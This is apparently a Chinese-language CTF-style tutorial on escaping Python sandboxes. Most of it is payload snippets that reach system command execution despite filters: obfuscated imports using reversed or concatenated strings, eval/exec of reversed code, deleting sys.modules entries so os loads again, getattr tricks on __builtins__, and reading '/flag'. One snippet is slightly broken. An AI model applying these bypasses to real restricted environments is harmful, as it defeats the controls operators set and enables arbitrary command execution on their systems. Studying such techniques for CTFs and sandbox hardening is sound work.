原理
沙箱会禁用一些危险函数,通过花式调用库函数可以逃逸出沙箱的防护,最终达到执行系统命令的目的。
在python中执行系统命令的方式
os: os.system os.p
commands:仅限2.x
subprocess.run
timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)
platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:pty.spawn('ls')、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
花式import
import os
import os
import os
__import__('os')
importlib.import_module('os').system('ls')
execfile('/usr/lib/python2.7/os.py') system('ls') # 仅python2支持
with open('/usr/lib/python2.7/os.py','r') as f:
exec(f.read())
system('ls')
# 查看库的路径
import sys print(sys.path)
花式处理字符串
代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os
__import__('so'[::-1]).system('ls')
a='o' b='s' __import__(a+b).system('ls')
还可以利用eval或exec
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) ==> eval('__import__("os").system("whoami")')
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) ==> exec('import os;os.system("whoami")')
eval、exec 都是相当危险的函数,exec 比 eval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、base64、hex、rot13…等等,太多了。。。
恢复 sys.modules
sys.modules 是一个字典,里面储存了加载过的模块信息。启动python会自动加载模块,然后加载入modules的模块被导入的时候就不需要重新加载,如果modules中不存在该模块的话则需要重新加载
沙箱中一般会这样设置
sys.modules['os'] = 'not allowed' 使得os模块不可用,但modules中是存在os模块的
如果我们这样
del sys.modules['os']
# 将modules中的os模块删掉,然后import os 的时候,python就会重新加载os,从而绕过上面沙箱设置的os不可用
import os
花式执行函数
如果把 system 这个函数干掉,也没法通过os.system执行系统命令,并且这里的system也不是字符串,也没法直接做编码等等操作。
但是os中能执行系统命令的函数还有很多
print(os.system('whoami'))
print(os.popen('whoami').read())
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
其次,可以通过 getattr 拿到os的方法和属性,来实现system的使用:
import os
getattr(os,'metsys'[::-1])('ls')
如果连import也不让出现,则利用getattr拿到import再上一级__builtins__的方法和属性来实现import的调用
getattr(__builtins__,'__tropmi__'[::-1]('so'[::-1]),'metsys'[::-1])('ls')
__builtins__
python中有些不需要import就可以使用的函数如open chr eval exec等,就是因为有内建模块__builtins__,它有一些常用函数,变量和类
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True
>>>gmpy2.__builtins__['eval']("os.popen('cat /flag').read()")
但是,沙箱可能会禁用或者将内建模块里面的危险函数删掉
__builtins__.__dict__['eval'] = 'not allowed'
del __builtins__.__dict__['eval']
我们可以reload,在python2中reload的是内建的,python3中需要import imp;imp.reload